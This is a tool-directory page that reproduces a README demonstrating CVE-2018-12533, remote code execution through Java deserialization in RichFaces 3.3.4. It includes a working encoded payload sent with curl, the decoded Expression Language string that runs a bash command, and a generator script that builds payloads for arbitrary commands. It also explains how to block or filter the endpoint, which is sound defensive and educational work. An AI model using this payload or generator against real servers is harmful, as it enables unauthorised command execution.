Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
richfaces-vulnerability-cve-2018-12533-rf-14310 | Kitploit
Tools/GitHubGitHub/mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubmhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310

richfaces-vulnerability-cve-2018-12533-rf-14310

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
11 year agoNot yet reviewed

Demonstrates the flaw present in RichFaces 3.3.4 of remote code execution and how to mitigate and/or block

  • Attack example
  • Clone the repository
  • Decoding the payload
  • Deserializing the Java class
  • Generating a payload to test the vulnerability
  • How to mitigate?
    • If you really need this endpoint
    • If you don't need this endpoint
  • Understanding the execution flow
  • Who uses this feature?
  • Tips
  • Relevant links

Details of CVE-2018-12533. Other versions of RichFaces are vulnerable, as can be seen here.

Attack example

root@kitploit:~
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"

After DATA/ and before .seam, is the attack payload. This is just a Java class serialized, zipped and encoded in Base64. It is a Base64 with the format slightly modified by RichFaces to be URL-compatible.

This class contains a command line in the format of Expression Language that is executed by the application, more precisely by RichFaces, and that is where the problem lies, because arbitrary code can be executed on the server.

The command encoded in the above payload is touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458 (for demonstration purposes only) and we will verify this shortly.

Clone the repository

root@kitploit:~
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310

Decoding the payload

root@kitploit:~
echo "${PAYLOAD_BASE64_RICHFACES}" | \
    sed 's/-/+/g' | \
    sed 's#!#/#g' | \
    sed 's/_/=/g' | \
    base64 -d | \
    zlib-flate -uncompress > UmaClasse.serialized-class.bin

Converts the payload from RichFaces Base64 format to standard Base64 format. Decodes the Base64, which in this case is a zipped binary, then decompresses it, generating the binary of the serialized Java class.

Deserializing the Java class

Here we will see the malicious command that is inside the payload.

The command below will show all the attributes of the class and their respective types defined in the class. It does not display runtime types, if you don't know what that means, that's fine.

Here we are executing Java code as if it were a script thanks to JBang

root@kitploit:~
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin

The output is something like this:

root@kitploit:~
Objeto java convertido para JSON:
{
  "_width (int)": 111,
  "_height (int)": 31,
  "_data (java.lang.Object)": null,
  "_format (int)": 1,
  "_paint (java.lang.Object)": {
    "className (java.lang.String)": null,
    "savedState (java.io.Serializable)": {
      "m (javax.el.MethodExpression)": {
        "attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
        "orig (javax.el.MethodExpression)": {
          "expectedType (java.lang.Class)": null,
          "expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
          "fnMapper (javax.el.FunctionMapper)": null,
          "varMapper (javax.el.VariableMapper)": null,
          "paramTypes ([Ljava.lang.Class;)": [
            "java.awt.Graphics2D",
            "java.lang.Object"
          ]
        }
      }
    }
  },
  "cacheable (boolean)": false,
  "_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class

⚠️ The main point is the attribute _paint.savedState.m.orig.expr, where the malicious code is located, which in this example is just a harmless code that creates a file on disk: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458

Generating a payload to test the vulnerability

root@kitploit:~
chmod +x Generator_Paint2DResourceImageData.java

./Generator_Paint2DResourceImageData.java
# or
./Generator_Paint2DResourceImageData.java <a command here>
./Generator_Paint2DResourceImageData.java touch /tmp/someone-was-here

The output will display the commands at the point for you to execute against a vulnerable server. Just adjust the URL.

How to mitigate?

If you really need this endpoint

A less simple and more performant option is to modify the RichFaces code to perform some handling. Below is the relevant stack.

Another simpler option than the previous one is to create a filter (javax.servlet.Filter) that acts only on the path in question, deserializing the Base64 present in the path and performing the necessary verification to determine whether the request should continue or be rejected. It is important to emphasize that deserialization must occur via the LookAheadObjectInputStream class, as done in org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), to try to avoid as much as possible deserialization security issues, such as malicious code execution.

If you don't need this endpoint

One option is to block the endpoint path in some proxy that is in front of the application.

Another option, which I think is worth implementing, but does not exclude the first option, is to create a filter (javax.servlet.Filter) that acts only on the path in question and blocks access. The blockage consists only of responding to the request without letting the filter chain continue execution. You can put text in the body and use http status code 410 (Gone). Remember that this filter must be defined in the application's web.xml. An example of this filter: PathBlockerFilter.

If you use JBoss EAP, the filter mentioned here can be implemented as a valve (the change is minimal), and:

  • it will be executed before the filters defined in web.xml
  • it must be defined in the jboss-web.xml file as the first <valve>, or
  • it can be defined in standalone.xml (or domain.xml) in the subsystem urn:jboss:domain:web via the <valve> tag
  • Example of this valve: PathBlockerValve

Understanding the execution flow

tl;dr: the malicious code is executed by the method org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), at line paint.invoke(facesContext, new Object[] {graphics,data._data});.

When the HTTP request is made, it reaches the method org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), according to the stack below:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
  owns: org.apache.coyote.Request  (id=27053)
  org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
  1. At line dataString = key.substring(dataStart); the Base64 in RichFaces format is extracted (remembering that this Base64 ultimately is a Java object that was serialized and zipped);
  2. At line objectArray = decrypt(dataArray) this Base64 is decoded and decompressed;
  3. At line data = in.readObject() the Java object with the malicious code is deserialized, i.e., we have the object instance.

Then the request reaches the method org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), according to the stack below:

root@kitploit:~
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
  owns: org.apache.coyote.Request  (id=27053)
  org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
  org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
  org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141

⚠️ Then at line paint.invoke(facesContext, new Object[] {graphics,data._data}); the malicious code is finally executed.

Who uses this feature?

I will mention one case, the rich:paint2D component: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D

Tips

It is possible to see the payload received by the application by enabling DEBUG logging on class org.ajax4jsf.resource.ResourceBuilderImpl.

Relevant links

  • https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html (Main)
  • https://seclists.org/fulldisclosure/2020/Mar/21
  • https://github.com/redtimmy/Richsploit
  • https://web.archive.org/web/20200315184606/https://www.redtimmy.com/java-hacking/richsploit-one-tool-to-exploit-all-versions-of-richfaces-ever-released/
Download Tool